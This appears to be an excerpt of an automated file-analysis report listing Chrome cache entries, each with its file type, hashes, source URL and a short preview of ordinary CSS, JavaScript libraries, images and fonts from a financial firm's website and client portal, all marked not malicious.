Preview:	......JFIF..............Photoshop 3.0.8BIM.......h..(.bFBMD0a000a6c010000110200003302000054020000750200009a020000a702000026030000470300006d0300000c040000....C.....................................%...#... , #&')*)..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((......P.A..".....................................................................................(.......b%...F.........DQ...FTIDQ.F.Z.B....Qe.....@.,.....U#C-.q`.PT........T...T......KK...Y....Yae.@........Mk:Z .................................M......................`........?.S.....................`........?.S..............................?.M........................ .........?!.)...................T:......?.].......]S......../...p.Y.....>..<.......g.................... .[.........................`........?.S.....................`........?.S......................... 0........?..b..!b....X.!.X.k.z..'k..!...!....!;Z.!...~L.B...j..,Z.}.H.!.N..LL.e(.J^)JR..B..'k.D!..)D.R..)JR..!!!".....)K.

Chrome Cache Entry: 264

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (2576), with no line terminators
Category:	downloaded
Size (bytes):	2579
Entropy (8bit):	5.626387296439896
Encrypted:	false
SSDEEP:	48:zetSTQggtRjciupia4MgAFUmQcOe7exqocYeC/ouA6T:qtSEntRpupia4MgAFUDcXKxqocb6T
MD5:	A75E70C8B3C2D87583AEA49A90BF0D40
SHA1:	F0F1AB73E7886EB8EE2E3783BC07204C042AF4EB
SHA-256:	260E7C6ED1E4B2010574A941A6D2ADDD0CA71F96CB90FD11868C87CBD220FCB7
SHA-512:	EF3CDE96C382959C775DB77D8DB874CA8749BA430322285F14702C8F0CDCC3AE5D4535020489ED8AD0C956FB4F88366313AC60B919BEB014F4AD358553DEA644
Malicious:	false
Reputation:	low
URL:	https://bfjfinancialgroup.smartvault.com/WebResource.axd?d=nfs_dBZy6aPV5PzP-4pfDGT9JSeTKef0YISAds0cTI49A9OU2zgUo65Jd75SKSDTFZdFXZ_Osxl7cSsp_SnYftFfJXnwyTJwtaAjIbpj5YCBboKW_E_r5dHx-zf9hEDfRJGT5IdTMAciNoUj5O2DsiCavLI1&t=638368678120000000
Preview:	..RadInput_Default,.RadInputMgr_Default{font:12px "segoe ui",arial,sans-serif}html body .RadInput_Default .riTextBox,html body .RadInputMgr_Default{border-color:#8e8e8e #b8b8b8 #b8b8b8 #8e8e8e;background:#fff;color:#000;font:12px "segoe ui",arial,sans-serif}html body .RadInput_Default .riEmpty,html body .RadInput_Empty_Default{color:#8a8a8a}html body .RadInput_Default .riHover,html body .RadInput_Hover_Default,html body .RadInput_Default .riFocused,html body .RadInput_Focused_Default{border-color:#515151}html body .RadInput_Default .riRead,html body .RadInput_Read_Default{border-color:#d0d0d0}html body .RadInput_Default .riDisabled,html body .RadInput_Disabled_Default{border-color:#d0d0d0;color:#8a8a8a;cursor:default}html body .RadInput_Default .riError,html body .RadInput_Error_Default{border-color:#d51923;background:#fff 100% -298px no-repeat url('WebResource.axd?d=M91uHkWuE4Ocdk2xp6d2OGcabbHpHNYgaexpS4e1bVEMYL8LakPv5j_vhkrurHwWcMH6gQjLnMMJOunaMpi-L-XSdrm3oeFGrB34kYsZ2_eSujPcHL0JHX

Chrome Cache Entry: 265

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	305
Entropy (8bit):	4.581312822185803
Encrypted:	false
SSDEEP:	6:YWLSXJbT9XIeksLcARuyF9p3N4hfQF9p3o74hfQFR9cMz4Y:YWLS59XLLSK3Sy35k9XB
MD5:	4F54379F8B12D5F227EB25C9D893D309
SHA1:	1436570B5775C253BCAC00A311A08E6A6FE3C2CE
SHA-256:	BDFA3B3CCE61D930527C7AE832BB62C6B23E22487B8321831840B78A7F4C9BA8
SHA-512:	38B3A1EBADD04A351DC4CCA9EA4E9440D55C45806D358B3BEF3644DE6F570A90AB5EFDA33F57FC5751EAB4CF306C607BE313043BEAE8D039F3EE8CFD50D46C32
Malicious:	false
Reputation:	low
URL:	https://www.bfjfinancial.com/wp-json/contact-form-7/v1/contact-forms/54/feedback/schema
Preview:	{"version":"Contact Form 7 SWV Schema 2022-10","locale":"en_US","rules":[{"rule":"required","field":"text-252","error":"The field is required."},{"rule":"required","field":"email-886","error":"The field is required."},{"rule":"email","field":"email-886","error":"The e-mail address entered is invalid."}]}

Chrome Cache Entry: 266

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	troff or preprocessor input, ASCII text, with very long lines (305)
Category:	downloaded
Size (bytes):	25197
Entropy (8bit):	4.843692983219147
Encrypted:	false
SSDEEP:	192:xq+bkJ29gA6fIxe2SBvipVZhAFatEUISIDqvnIvMa+0k9YT/nHd1B2RNbYImDlwe:FzSd8AwEVSIDqvnIDyYTnBrlwPvVY5
MD5:	E4E5F0FF7D97D2851D8F06C26A4E302B
SHA1:	15E5B5A9C81E2CF89C768A80CD06C6180F35AB04
SHA-256:	305FDD8AB222D1123866F401B7E8786D674F72EC8D40197069369683B6019655
SHA-512:	36D53F01CB743047153F2A82D79DDECA8ABD2FE50791DD2CDB616321A281CB203A2AD64FAE49BF3B9739C736A26B8A7209F45E092EB7E07C90EED27028DC42FE
Malicious:	false
Reputation:	low
URL:	https://www.bfjfinancial.com/wp-content/themes/x-child/font-awesome/css/font-awesome.css
Preview:	/!. Font Awesome 4.1.0 by @davegandy - http://fontawesome.io - @fontawesome. * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License). /./ FONT PATH. * -------------------------- /.@font-face {. font-family: 'FontAwesome';. src: url('../fonts/fontawesome-webfont.eot?v=4.1.0');. src: url('../fonts/fontawesome-webfont.eot?#iefix&v=4.1.0') format('embedded-opentype'), url('../fonts/fontawesome-webfont.woff?v=4.1.0') format('woff'), url('../fonts/fontawesome-webfont.ttf?v=4.1.0') format('truetype'), url('../fonts/fontawesome-webfont.svg?v=4.1.0#fontawesomeregular') format('svg');. font-weight: normal;. font-style: normal;.}..fa {. display: inline-block;. font-family: FontAwesome;. font-style: normal;. font-weight: normal;. line-height: 1;. -webkit-font-smoothing: antialiased;. -moz-osx-font-smoothing: grayscale;.}./ makes the font 33% larger relative to the icon container */..fa-lg {. font-size: 1.33333333em;. line-height: 0.75em;. vertical-al

Chrome Cache Entry: 267

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65451)
Category:	downloaded
Size (bytes):	84742
Entropy (8bit):	5.226176761472977
Encrypted:	false
SSDEEP:	768:cgwN4G/3vnOO6TvTAH4aJel2APNSJ0RJCmONnA/lfPqG7nVZL2f4sNuINSOPRsvf:YNahSJiGf4BINS6iOyk8Q2HB
MD5:	AA693FAB6D2DBFF1FC92249379687A31
SHA1:	0CEBFF10DE05D87991D9CD3B8E65E909A65FB93B
SHA-256:	804E9D42F244D50D3A24FC30ED5C688CB10DBD9D043E2B61DA54C6C99919745B
SHA-512:	5CE4453EBE6035429F37FC8174BA06EFEEF7E62A76AE4D742D3168B3D2E094CCBAB67ED0141F953AE2A132F0EDD5421D51E1872F85A3296BEA5A8C0E7803A211
Malicious:	false
Reputation:	low
URL:	https://smartvault.ada.support/embed/button/e540f3c/sentry.b6985341d53aea5af72f.js
Preview:	/! For license information please see sentry.b6985341d53aea5af72f.js.LICENSE.txt /."use strict";(self.webpackChunk_ada_support_embed2=self.webpackChunk_ada_support_embed2\|\|[]).push([[897],{561:function(t,n,e){e.d(n,{R:function(){return I}});var r=e(6856),i=e(105),o=e(1421),s=e(6769),a=e(292),u=e(2844),c=e(2343),f=e(7597),p=e(8518),l=e(6893),d=e(1170),h=e(2470),v=e(7321),_=e(8266),y=e(2162),g=[];function m(t){return t.reduce((function(t,n){return t.every((function(t){return n.name!==t.name}))&&t.push(n),t}),[])}var b="Not capturing exception because it's already been captured.",E=function(){function t(t,n){this._integrations={},this._numProcessing=0,this._backend=new t(n),this._options=n,n.dsn&&(this._dsn=(0,a.v)(n.dsn))}return t.prototype.captureException=function(t,n,e){var r=this;if(!(0,u.YO)(t)){var i=n&&n.event_id;return this._process(this._getBackend().eventFromException(t,n).then((function(t){return r._captureEvent(t,n,e)})).then((function(t){i=t}))),i}c.k.log(b)},t.prototype.c

Chrome Cache Entry: 268

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1600x826, components 3
Category:	downloaded
Size (bytes):	204920
Entropy (8bit):	7.987636589391363
Encrypted:	false
SSDEEP:	3072:Co5iP3TvkTCLYRUg1fc5Lx3rFDtkhVIfE+4H05MTVkLat60+MGbCxDq/nyIx:CoEzkjRUBrFDy834HHVkLP0+MGbQMnP
MD5:	B278C0ABD1896493857D85803ECF6C25
SHA1:	834C1FFE24034F291C13E1E19B727318A5575645
SHA-256:	0D7C724854A0AF24AF1A967A171855614E8AAF18CFCE719EC9B5CF3A6D60F32E
SHA-512:	218982BED58D877EA02C9928FE196A9F3430BB2F6CF06374FCB4A2410B520434882186D19DB6B3ABA8742ED6749AEE1EE148D69A0530ABECCBAC74C870F4272C
Malicious:	false
Reputation:	low
URL:	https://www.bfjfinancial.com/wp-content/uploads/2017/06/banner2.jpg
Preview:	......JFIF.............C..............................................!........."$".$.......C.......................................................................:.@.."...............................................................................DO~$E.:.c..c..".^.r.(y.F..z.#dj.j..r..ieE..X......J..Qk-........R.r.......n.K..,..AZ%...eb[.LF.s.....q..iUC.v.R..R...".Q.....#T.a%(vBY.q%ddJQ%....@AB.".......U....0..U..Tm...I.Q..!.)C..DhJJ..@.EX.j+,....h.....W"....NmjW...(Z....2.Ve.-.T.......sYc-.....V.D... L!.....V.Cr% .6TZ...R.fs@g4...b+s.....bc.I..Y9W(...l...Rh..$E......-..].k........B.hR.....L...GL....d.rr..@....)....4....Q.......I "......A...A..d.L.ms.7.D.EH+V.J......d..\%..+.........I%.i..9V.@^....Q.%.:_...T..-........cV..-t....&r4...Vjye..yKs..! .L.4..&.). ...N....&J.nX..N.NV...(5....X.....JBVL.)..j.li.4....h...0.N5Z.5.+..B.$4 B..h.V$...i....A4....J.JXJVJ..u.L.2+$.h.f..*.JT4 ).".."."D..0.UD.A. C". .2rD..q"2.'......c...)..A."..DT.D..q.

Chrome Cache Entry: 269

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (6825), with no line terminators
Category:	downloaded
Size (bytes):	6825
Entropy (8bit):	4.942949250108096
Encrypted:	false
SSDEEP:	96:SP4SaxASepsHLIi04O1nbEpM6g4WmIfqv1pPnhFdnkd0x+r:SQA65Rv1pPhFlS06
MD5:	3E27740A330A3349EA7B15E34A180D6E
SHA1:	462DC12E95266A5E5D5245CD052BEB01BD55674A
SHA-256:	180E04A0177AEC5801C1A6C7EB16F1769DD92DA7D3EB922A451B575E64B7F113
SHA-512:	37FA50AACF9FF2059F954168A5A0FE1F492660F1E474CA3A7A07E1036511F27F635E874E76964B789749AE821E3E367C7B76EA9C8F689BB148E2DDB5044AB738
Malicious:	false
Reputation:	low
URL:	https://bfjfinancialgroup.smartvault.com/WebResource.axd?d=ysX2VaB2wDEAN6xwuzQVWtml0O6ZNpyiIlVP_QnXNHKGI5rBfOiar9m877jcdMWFZkO9kQsC0ojKmmuH_WytyZV4CDtOhYRup6gxH1m44iZKxVz4AnYjOFfqKZZn4NjCzc-rJg2&t=638368678120000000
Preview:	div.RadToolTip{position:absolute;cursor:default}.RadToolTip.rtLoading{width:auto;height:100%}.RadToolTip .rtCallout{display:none}.RadToolTip.rtVisibleCallout .rtCallout{display:block}.RadToolTip .rtWrapper{padding:0;margin:0;border-collapse:collapse}.RadToolTip .rtWrapper .rtWrapperTopLeft,.RadToolTip .rtWrapper .rtWrapperTopRight,.RadToolTip .rtWrapper .rtWrapperBottomLeft,.RadToolTip .rtWrapper .rtWrapperBottomRight{width:3px;height:3px;line-height:1px;font-size:1px;background-color:transparent;background-repeat:no-repeat}.RadToolTip .rtWrapper .rtWrapperTopLeft{background-position:0 -12px}.RadToolTip .rtWrapper .rtWrapperTopRight{background-position:right -12px}.RadToolTip .rtWrapper .rtWrapperBottomLeft{background-position:0 -63px}.RadToolTip .rtWrapper .rtWrapperBottomRight{background-position:right -63px}.RadToolTip .rtWrapper .rtWrapperTopCenter,.RadToolTip .rtWrapper .rtWrapperBottomCenter{height:3px;line-height:0;font-size:1px;background-repeat:repeat-x}.RadToolTip .rtWrapper

Chrome Cache Entry: 270

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (42907), with no line terminators
Category:	downloaded
Size (bytes):	42908
Entropy (8bit):	5.394313666351295
Encrypted:	false
SSDEEP:	768:duDWEwJHNCHrwMScNUdfJR0FRGysM1q+7Rvln5+fVM6t8CuEUWEfYB4l3IHE0te:kAZNANTFRP+fC6uEUZVOe
MD5:	313232D0063B1F03D5B8075325DFF558
SHA1:	8D90C01105E1D1C84CBB1D36B5801FECA651109E
SHA-256:	26440815A3F83D5462E6F4906F51AB846013264D0029F535C65A588D32000A14
SHA-512:	B12F0CB8E67A240A59B64CAA034B7559C0681E4EE483CAE6980C7FAB4F8E387E990F7E2D76E692E34D50D64141BDF455AC60468ED0496B2242EEA841578483BE
Malicious:	false
Reputation:	low
URL:	https://smartvault.ada.support/embed/button/e540f3c/index.js
Preview:	!function(){var t,e={5683:function(t,e,n){n(9447)},2088:function(t,e,n){t.exports=n(269)},4341:function(t,e,n){t.exports=n(3685)},3263:function(t,e,n){n(4710)},9356:function(t,e,n){n(3799)},5613:function(t,e,n){"use strict";var r=n(6400);const o=6e4,i="ALL_FRAMES_LOADED";let a=function(t){return t.Success="SUCCESS",t.Failure="FAILURE",t}({});class s extends Error{constructor(t){super(t),this.name="AdaEmbedError"}}function u(t){if(!t)return;let e=t.charAt(0).toUpperCase()+t.slice(1);const n=e.charAt(e.length-1);[".","?","!"].includes(n)\|\|(e=`${e}.`),console.warn(`Ada Embed - ${e}`)}var c=n(4341);function f(t,e,n){return e in t?c(t,e,{value:n,enumerable:!0,configurable:!0,writable:!0}):t[e]=n,t}var l=n(6104),d=n.n(l),p=n(5591),v=n(4773);const{BrowserClient:h}=p,m={},b=["XHR Error: "],g=new h({dsn:null,beforeSend:t=>"Could not connect frame channel."===t.message?null:t,environment:"production",release:"1.7.7-e540f3c",sampleRate:.25,autoSessionTracking:!1,integrations:[new p.Integrations.I

Chrome Cache Entry: 271

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	26951
Entropy (8bit):	4.514992390210281
Encrypted:	false
SSDEEP:	384:jMgviMjM4if38GmhXeC1QRwweTkBE9wbOY4Jf/JhRZ5h+73hNVt8oC4veONhLYVi:CLEiJSdo11vIYHqb5Klo8v
MD5:	B3D7A123BE5203A1A3F0F10233ED373F
SHA1:	F4C61F321D8F79A805B356C6EC94090C0D96215C
SHA-256:	EF9453F74B2617D43DCEF4242CF5845101FCFB57289C81BCEB20042B0023A192
SHA-512:	A01BFE8546E59C8AF83280A795B3F56DFA23D556B992813A4EB70089E80621686C7B51EE87B3109502667CAF1F95CBCA074BF607E543A0390BF6F8BB3ECD992B
Malicious:	false
Reputation:	low
URL:	https://bfjfinancialgroup.smartvault.com/ScriptResource.axd?d=bxneLSIh8SNqL-DjmlEOCOjpj7lm8eCrWeUn3UqJb9YUsjCvSH5bGoYm_Sp61q2wrS-cbvalSlFsnoAzRX7679-OV8N9JPcmpTtUz6eRDBn82nBrgdQJlLL2zGFynS0QAVSv0422mvqVHBj94oanuA6IlAw1&t=ffffffffa83fb62f
Preview:	var Page_ValidationVer = "125";..var Page_IsValid = true;..var Page_BlockSubmit = false;..var Page_InvalidControlToBeFocused = null;..var Page_TextTypes = /^(text\|password\|file\|search\|tel\|url\|email\|number\|range\|color\|datetime\|date\|month\|week\|time\|datetime-local)$/i;..function ValidatorUpdateDisplay(val) {.. if (typeof(val.display) == "string") {.. if (val.display == "None") {.. return;.. }.. if (val.display == "Dynamic") {.. val.style.display = val.isvalid ? "none" : "inline";.. return;.. }.. }.. if ((navigator.userAgent.indexOf("Mac") > -1) &&.. (navigator.userAgent.indexOf("MSIE") > -1)) {.. val.style.display = "inline";.. }.. val.style.visibility = val.isvalid ? "hidden" : "visible";..}..function ValidatorUpdateIsValid() {.. Page_IsValid = AllValidatorsValid(Page_Validators);..}..function AllValidatorsValid(validators) {.. if ((typeof(validators) != "undefined") && (validators != null)) {

Chrome Cache Entry: 272

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46455), with no line terminators
Category:	downloaded
Size (bytes):	46455
Entropy (8bit):	5.369366209203799
Encrypted:	false
SSDEEP:	768:aqaT/tN7yHUJCb4I5P3JQ6tT19zp+PXklDOnoAvbtaT2:iub/5PJQq19zojbtaT2
MD5:	5D3958B2660193BD33A33D18BAECA6FF
SHA1:	5086EFB0D3D496B805319CE55BB521CCCCE38489
SHA-256:	DEDB83865C74089200C4EA4464420FE1DB3D2AC0190FC296D76EE992D38E3366
SHA-512:	C020071C3623493479FAFB85A32C8DCD76ACAF54516C5664C3D0874E09A6A3009FB966110471F04E04AC2EA0BCBC4286D4D7D306C60C95D9617B91987C0EB983
Malicious:	false
Reputation:	low
URL:	https://brokercheck.finra.org/polyfills.ce2b1dfa495ef54f.js
Preview:	"use strict";(self.webpackChunkbrokercheck=self.webpackChunkbrokercheck\|\|[]).push([[429],{588:(we,De,Ze)=>{Ze(95)},95:function(we,De,Ze){var Te,Ne,Ae=this&&this.__assign\|\|function(){return Ae=Object.assign\|\|function(ue){for(var ae,ve=1,fe=arguments.length;ve<fe;ve++)for(var be in ae=arguments[ve])Object.prototype.hasOwnProperty.call(ae,be)&&(ue[be]=ae[be]);return ue},Ae.apply(this,arguments)},ge=this&&this.__spreadArray\|\|function(ue,ae,ve){if(ve\|\|2===arguments.length)for(var he,fe=0,be=ae.length;fe<be;fe++)(he\|\|!(fe in ae))&&(he\|\|(he=Array.prototype.slice.call(ae,0,fe)),he[fe]=ae[fe]);return ue.concat(he\|\|Array.prototype.slice.call(ae))};Te=function(){!function(e){var r=e.performance;function t(v){r&&r.mark&&r.mark(v)}function n(v,o){r&&r.measure&&r.measure(v,o)}t("Zone");var u=e.__Zone_symbol_prefix\|\|"__zone_symbol__";function c(v){return u+v}var f=!0===e[c("forceDuplicateZoneCheck")];if(e.Zone){if(f\|\|"function"!=typeof e.Zone.__symbol__)throw new Error("Zone already loaded.");return

Chrome Cache Entry: 273

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65466)
Category:	dropped
Size (bytes):	857086
Entropy (8bit):	5.493004676525697
Encrypted:	false
SSDEEP:	6144:UJDqXmg7Duz3Q+kIivq0Bdh1V3QIb9J7H9jPmTAoVfYl5vc3ZjZnCK8rnJ3aV6d8:ODkoz3nZiqQprmcoZH3ZNCrrHbKbagb
MD5:	5C5BC2CD58394C92202098F2AEB33330
SHA1:	6A822668E41B045E151D712DD24191602432CEE9
SHA-256:	FCDF107CF45FCEFFC1562956AB34585C495798D82C713C3A0E8EEA0E19BC8AD2
SHA-512:	D6CEF6B77FFA50351CC50219D08F8AE6A73856CAD16E27DB89C6A85A68FCACD8FC70DEDEE4F9564F9C855B138E88EAED70490F3DF2821E4D0430A150DEB1C031
Malicious:	false
Reputation:	low
Preview:	/! For license information please see authWallInit.js.LICENSE.txt /.(()=>{"use strict";var e={};function t(e,t){if(!e)return null;let n=e.matches\|\|e.webkitMatchesSelector\|\|e.mozMatchesSelector\|\|e.msMatchesSelector;for(;e&&!n.call(e,t);)e=e.parentElement;return e}function n(e){"complete"===document.readyState?e():window.addEventListener("load",()=>{setTimeout(e)})}e.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window)return window}}();class i{constructor(){this._unloadCallbacks=[],this._initEventListener()}_initEventListener(){window.addEventListener("beforeunload",e=>{for(let t=0;t<this._unloadCallbacks.length;t++){if(!1===this._unloadCallbacks[t].call(null,e))break}})}addUnloadCallback(e){e instanceof Function&&this._unloadCallbacks.push(e)}}const r=function(){let e;return{getInstance:function(){return e\|\|(e=new i),e}}}();class o{constructor(){this._pagehideCallbacks=[],this._initEventListen

Chrome Cache Entry: 274

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 160x160, components 3
Category:	dropped
Size (bytes):	9052
Entropy (8bit):	7.909384418526757
Encrypted:	false
SSDEEP:	192:UzHf7ibzIDC3ljzDtB+75bSGdMfuD7Osl1aPNLGjTghnIcq7F:GHf7ibzfH+75+GyWl168+nNq5
MD5:	924E485080953A3ADE4A1DA3C57A79D9
SHA1:	60DBFAF483E76262A2E23F2ED70D5DCC2509F654
SHA-256:	07548C63FEB6D5C12FE2D390196FB989AD8F15C7B396A5CD267DA60100478EED
SHA-512:	4CA9034E6F1D658DDF40047B70C557E501BA30DF89AB38451E6CDB0CB2EFE3517181FB2CD8983D6D66E3396E8EAC236969DB5B4F39117FC22779403B74AF70C8
Malicious:	false
Reputation:	low
Preview:	......JFIF..............Photoshop 3.0.8BIM.......h..(.bFBMD0a000a6f0100006e030000a30700005708000037090000df0e0000c61500004316000010170000f11700005c230000....C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((...........".............................................................................l...y...A..8y...V..K...p..g..^S.......hS..9..qQ._"-6Wl..-.4.........=.a.L'.\|....e.~.+...0X....+u4_K..:u.SK."X9.t.8o..'.._A..^..:e...L_..v..Sx...6>\|.].............Vx..f4LT.d.e....J-..E.....~....3F3>C...k.........C..I.ty.....s....:O&.e5T......#......?..2.+...'.....-...R.....J......K.w......H.{8.<...6...M..y..:..eMg_.#...N4BA...\|.......\|.s.....=.<.=.wg0.h:..q..........AmN..y..=8.5r.2..7H.~z..\......U...]9..b.>p.R.q.iJ...>.~.=.C}.B.......i.Yn....'..........................!."12..#4$A...........233.X,e}..c.....dW.`.e.X1.=.".,..M..X.k.w..A7X...G%...._[..j...V..3..2..a2...g....6.p8.d..=.8..9.f...Et

Chrome Cache Entry: 275

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 500x334, components 3
Category:	dropped
Size (bytes):	29921
Entropy (8bit):	7.969291307579387
Encrypted:	false
SSDEEP:	768:cdDuTiJtBq6dKhy5Rl3GuXysyA9DvHWnLsryB4T:chuWLo6d75RlPr9zsLdBq
MD5:	FCA0034C4C1575377A58D28AE692173F
SHA1:	48A1C8AB451157CC1AEAFD91F0A20198814E84D3
SHA-256:	71C7A013B9DC9433D880FB869E789D408A605D5A97DB5B69E75883FC9B513160
SHA-512:	C65BE34CA610DD29F3CB4440C952D5E3AA4C4D5634859EA23CA596C6C230A78CF32753AB85BD03F784A64A5A9337E7293B53D63DBD8A3723A66CACEF1AB02665
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C..............................................!........."$".$.......C.......................................................................N....".............................................................................1..\|..u.JW.......\|.-3Y....Z^N.cY2LjI.....a1..v.].P..SD.K.3...!e.h6.dZ......+...(..d.....J...E`...G.0C.d.cU..!..+.....Y.]..e-T.]"X./..`A`2UKk.....b,d.....X..W..........[(Yv..-....$&.`.0U....o.j..r\.....X+4Q^..YW.9+e.N.fh...."....{k8.....Y..........'...i.)..5...I...%..,..-....1.L+......$4NwK......l6Rl......K8.:... ....Z.r......VM..2...K.%r\o..-j...J.2.....C)...+(L.+..X..*k(.......X..i..oN..%UxW.i..)Y...v...a.VZa".. ..\.3..Zj...94...nXX..e.. ....[.).#5._)!\...A3L.0@.(.5..;,.Ufu$".;.....V6..C...X..a.q..v..s..t.~i..3r.Fjl..f..!,.T....3.$./U.X(..%.=.....V.`.:.BI.A..9=^/[...Y.rI..r7.{.G.t.fK\|.u.].....~Cx....y}........lF.9..^n.U.o'..W...\.N.....].....jX...%.y........m..us....m..'..\..^<.....y...

Chrome Cache Entry: 276

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	279801
Entropy (8bit):	5.465457710105355
Encrypted:	false
SSDEEP:	3072:0ST/e8ScJdvCJV0LxdPuRTvTWTcTEDM2HD6TcTEDM24jgT4Zf9PKXjJw/gbGbAQl:0SaEdvCqd2Vsf9PUJwoIVke
MD5:	1215ECE704F260FF7789DC8DDBE583E7
SHA1:	52BC6216F8BE1CC0D6FDCA32A80E76985B57F89D
SHA-256:	AD489AFB8DB095BBC9EA846E54E93612EDDF2613A913AA675E1BA1790F995820
SHA-512:	CE92976F542EC5DE6676199DB447ABD4618299C178869EDF20767E30A13FCDCADF93326D7D5AB28B580ED5B7F4A5D11107BE2E96A52F8C8355EAA031809B64B4
Malicious:	false
Reputation:	low
Preview:	!function(){"use strict";let e;const t=new Uint8Array(16);function n(){if(!e&&(e="undefined"!=typeof crypto&&crypto.getRandomValues&&crypto.getRandomValues.bind(crypto),!e))throw new Error("crypto.getRandomValues() not supported. See https://github.com/uuidjs/uuid#getrandomvalues-not-supported");return e(t)}const r=[];for(let e=0;e<256;++e)r.push((e+256).toString(16).slice(1));var i={randomUUID:"undefined"!=typeof crypto&&crypto.randomUUID&&crypto.randomUUID.bind(crypto)};function a(e,t,a){if(i.randomUUID&&!t&&!e)return i.randomUUID();const o=(e=e\|\|{}).random\|\|(e.rng\|\|n)();if(o[6]=15&o[6]\|64,o[8]=63&o[8]\|128,t){a=a\|\|0;for(let e=0;e<16;++e)t[a+e]=o[e];return t}return function(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0;return(r[e[t+0]]+r[e[t+1]]+r[e[t+2]]+r[e[t+3]]+"-"+r[e[t+4]]+r[e[t+5]]+"-"+r[e[t+6]]+r[e[t+7]]+"-"+r[e[t+8]]+r[e[t+9]]+"-"+r[e[t+10]]+r[e[t+11]]+r[e[t+12]]+r[e[t+13]]+r[e[t+14]]+r[e[t+15]]).toLowerCase()}(o)}const o="See https://go/pem/degradation-tr

Chrome Cache Entry: 277

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 253 x 150, 8-bit/color RGBA, interlaced
Category:	downloaded
Size (bytes):	17382
Entropy (8bit):	7.971621395774043
Encrypted:	false
SSDEEP:	384:qwQySxhsibcltfaNxlhhzQpV1vfmDsMTnxgrxQ1BzYFr:qiE12tSNxlhhzQpVpfjSxgrhr
MD5:	179258F2AF06DD94A4D8E30951629CFB
SHA1:	2935107C54E641584407E1D6EBD49DB112A709A5
SHA-256:	E5AC539100A861C375F8FC87A1EE7188CC035F258C516AFD1780450BB2C7A199
SHA-512:	02861FC7FCCD9C3AB0D25BA2DE50AA4C3EED2E28F771758F0590F3E1AA27FACE24471EA23B8BB1B05BBEC2EAB5B202920B5740B74248FFB93FAA3EAD37CA5E2B
Malicious:	false
Reputation:	low
URL:	https://www.bfjfinancial.com/wp-content/uploads/2023/04/BFJ_Updated_Logo_3.png
Preview:	.PNG........IHDR.............b.....C.IDATx^..\UG....I6m7[.m....)..1=...5.."`..E..;6,.QQ...bAQ..+M.......X...<3.p.\PLD.=_>.)..93..3.y.x.<p...........Ax....{.0...C:....W.c....qUx..........j...?..[........`..l/......gB...p.......<.O."#j....KP...Q..._ ...s..E.b..\+...H........z...C..\|.m..~......+..<}..?H...~.\|.d...Q{..P....~.{4...Cff6.jd+......[....~..{..}-....fs.....\|.s......#..+9Y.......t.8w...!q.N.=..8......X$g....W...1b...r....w.Z.({..'.Q.$%wK...Q.DP..W.rs....P9.F/....b../....b......9.......~..Xv.gl...AUy....~.^....{G.L....7..U...]zX...5..$....cW.J.9M...Q.HU...@In.vS~..5C.6...r.BY.i.T....z.....'c..]b...O...d.\..y.....z..;.'.".t.N..K.1. l...=...0\|.......IGq...}..^.....9S...w..d#..O.....6...~[..f.<w..i;...`....cj....:.YyW.....1R\|.'..u.;"....(.!LRV...sGl.....t...].4.Rz.M..Z...aS........C#1f.....^.b5S.=..sVl..9+.4c.r.bt.<..<j.-...ZY.9.N9.@..I.J.&5Y...R}...Y$.....K.0...y.. T{.hI.H/w.0.{.M.-u.A.z.!kp..C..0..K.-....`.........

Chrome Cache Entry: 278

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15740, version 1.0
Category:	downloaded
Size (bytes):	15740
Entropy (8bit):	7.9866977438851
Encrypted:	false
SSDEEP:	384:RRlYHoE1mbF2cZgh17dAdJ0mB1cpOxvLTcZjh1LOz:JYIB2Sg/dYui1XBHwG
MD5:	B9C29351C46F3E8C8631C4002457F48A
SHA1:	E57E59C5780995FF2937AB2B511A769212974A87
SHA-256:	F75911313E1C7802C23345AB57E754D87801581706780C993FB23FF4E0FE62EF
SHA-512:	487AC3FD483F8EA131989857BCF1782C295AC72022BC2EBD4BF19001433D6DB65000E192E58B7A6F70F627D15C58F9FED9BA5FE0216363354BEC5A396299DAD9
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fBBc4.woff2
